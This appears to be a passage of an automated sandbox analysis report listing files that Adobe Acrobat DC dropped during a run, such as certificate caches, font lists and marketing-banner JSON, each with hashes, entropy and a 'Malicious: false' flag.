SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7686775296558497
Encrypted:	false
SSDEEP:	3:kkFkl29TBbPtfllXlE/HT8kvlzltNNX8RolJuRdxLlGB9lQRYwpDdt:kKv9NDeT8slTNMa8RdWBwRd
MD5:	CCD073050CDC9CF39851ADC2088EDE02
SHA1:	170FD7E4A411105851033D5344A3E804CD93A869
SHA-256:	A738855930F357B19F4EEFBFAD282FDCAE8D495D5989D24422B9A97EA256A486
SHA-512:	36DA85F43CD87C04354F11FDFC7EF5DE9174F00F35C21A9C9125B2589925213B5EB9C7C4DEFC522E5B2730C4556A1CC9AC5263409EB777F616C642B65A7C597B
Malicious:	false
Preview:	p...... ........EX...d..(....................................................... ..........W.....I..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.227991388555789
Encrypted:	false
SSDEEP:	6:kKtHL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:kDImsLNkPlE99SNxAhUe/3
MD5:	CBD92AC8CB6DF82E3B9973592A2AA628
SHA1:	BFD9181854C67EE9AFA0335803C357304274E416
SHA-256:	A99F5BA1963F6F696AD2A6B35110B1A7D4B7C7B024471FAAF3D52919860EA1CC
SHA-512:	D4B36A4178D02B78DF2E3DADE434D68FC336B28F720F28DF46DD38363AAAD00FE3BEF754B47E150B498561C51BD9720C1D21D2425BE53C467D34069773A0F1D9
Malicious:	false
Preview:	p...... ..........=..d..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36351375084045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJM3g98kUwPeUkwRe9:YvXKXF2EPHT5LjIPkGMbLUkee9
MD5:	A6E64A68DB99E0B0D3FB4A1A772B26F8
SHA1:	C06EB8A70974F8E2959CE22A5842BF2AF689ABBD
SHA-256:	4AC0AE8BB24DE1CFBBF35AADAC64BFF32806D2C689C40A9ACA394A97C8780989
SHA-512:	ADC99A1F2B52A02C619BDFDAD34F061FE62B01C12114002DE37DCD49B4DCF060AC6622A080B166065E7FA89C15F623C238F19C5E1D837BE3125E3F4754517345
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31472414070905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfBoTfXpnrPeUkwRe9:YvXKXF2EPHT5LjIPkGWTfXcUkee9
MD5:	28904D56AA1592946E3154BAE6DD29A2
SHA1:	2B084E57665AA895CA4048B9816A4AA70220BE60
SHA-256:	AC73836F1A748EE898F7951867167950B00155811F158A63F6223A23D82FD8A3
SHA-512:	4F6EF20564AA8D4E7693C52EC90E06AB132F403C8D72392021C6AD31FB0A25D367C6638CA37A23039A45BDD98101A2231100A548BAC01D508AD03D0CD53AE275
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29399193462372
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfBD2G6UpnrPeUkwRe9:YvXKXF2EPHT5LjIPkGR22cUkee9
MD5:	90B55C83BF9D3C4B2382254410CE6C00
SHA1:	97396FADA36533F4BAE5F2F9F138BDEF8951068A
SHA-256:	0A7C97392EEC10B1C90414D93BBC679F5DF3C0DB7FFE79449AB3603D59AE4831
SHA-512:	87666590F1817ADCFB9040C810D3ADF88B1836B35AC744163D84BAD85853DDD096A1835CB61878DABA26A484A9A6C74C7C40F678B7C85D10E7FA2343DA2AA500
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344521059347375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfPmwrPeUkwRe9:YvXKXF2EPHT5LjIPkGH56Ukee9
MD5:	DF82EF5E3B064AACF09FB0763A27B220
SHA1:	A240C29CEBBAE35F73090800533B26A61C2CC51C
SHA-256:	ED70657CFAF07A388AE39C7DB4442DE0AF4A3626B4AAE1A67D8FE47D5B0EB934
SHA-512:	630028EAAA4885042500985D4603119647284F3E6EA81417FED9C3E8D1DDA31B38C0D91B3653A1EC8438681ACB8F96146FD923AB0EE3CCFCFE1B1723F46F5538
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694375394292793
Encrypted:	false
SSDEEP:	24:Yv6XoEPHT5XIppLgE9cQx8LennAvzBvkn0RCmK8czOCCSyn:Yv2lXUhgy6SAFv5Ah8cv/y
MD5:	0EB1987F1BE44BFFE0144BF3995A6206
SHA1:	0C6877F63F1A53997F3559644C26E7B101BE10E8
SHA-256:	571FD03BD37B2F480FBF5E534052712404211C49D1495573D7CA79A9E5B756B6
SHA-512:	67B7BD5CC4C33824851A6940052D89388F3AC89132CC7A4D3330BE9DA784A826FB3D22E2BF3BC54CE518F0DC60A2D575834368C8E68C438DD54E8A1C2B235002
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316872181324276
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJf8dPeUkwRe9:YvXKXF2EPHT5LjIPkGU8Ukee9
MD5:	23CB40D628D9150B1C3AB845B7406613
SHA1:	1AEC06104F7AE614873F2530C81CA71DCCFA1061
SHA-256:	50D7600C4D77E2BE4CD8A9E021AE1882528F80C28016DC5D0FE47F3553B0B89B
SHA-512:	E48339EAC035A1A77F220FB1C32BB88B3AC9A6610B4E3B545EE8343E2A94580528C71858FC638B5A4279671ADA2C00318BF13EE4F5F3AD01D904D2C50AE189EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307654066063153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfQ1rPeUkwRe9:YvXKXF2EPHT5LjIPkGY16Ukee9
MD5:	0361A873524467FF4A779CDCD9FF53E8
SHA1:	17EECC486B59B5D5E6746D42DF515F59277557E2
SHA-256:	16AAE6F6EFAE3738B9CEBB1F17E5938C037C9A747658D480DF140508C8D9AC03
SHA-512:	0F0224F3725CD042512FC070A67F6F22CE911894950AB904B861CFFAB8720C71EABC92854FC4ECEFBFB80C57BC36E678DAF42F2B45932AB1091E03A2B837C4AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.325609755371031
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfFldPeUkwRe9:YvXKXF2EPHT5LjIPkGz8Ukee9
MD5:	CCD84CB671F21FDDD89D30B701E2AC39
SHA1:	616B6ABF72EB8F4AB20E7BF42EA8E88BF993A6CB
SHA-256:	05BFBF4381B3219C2A8E92DF42DC296F143937B668243868BEC8E6FAA5DF06C9
SHA-512:	31F482D2F21CE2F6C2A00A8248E4EDD110160026B81DAAAE1D79657F860E269C7866A48A7846FC0060D1BCB97DBE456846C1170B02DA089D6E80E55666517FC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342187214254269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfzdPeUkwRe9:YvXKXF2EPHT5LjIPkGb8Ukee9
MD5:	2E3FBF423DFD662DC77879A17F8DD339
SHA1:	DAD5F877A63AB176B6134A3D68D606B7C57B5D6A
SHA-256:	6D70D1B826C1C8EF1EA068C0D68F1D1261455D1208EC295968F8F0BADDDE4132
SHA-512:	4C584FD83713252B6F0B139D075733F524E256A4C8D798A1EEC48B07BA4F777CC474B157933A3FB0D20AE8B7775CAD58E79BD5B93ABF52FC4A9605C1DBDD5CE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323010985182157
Encrypted:	false
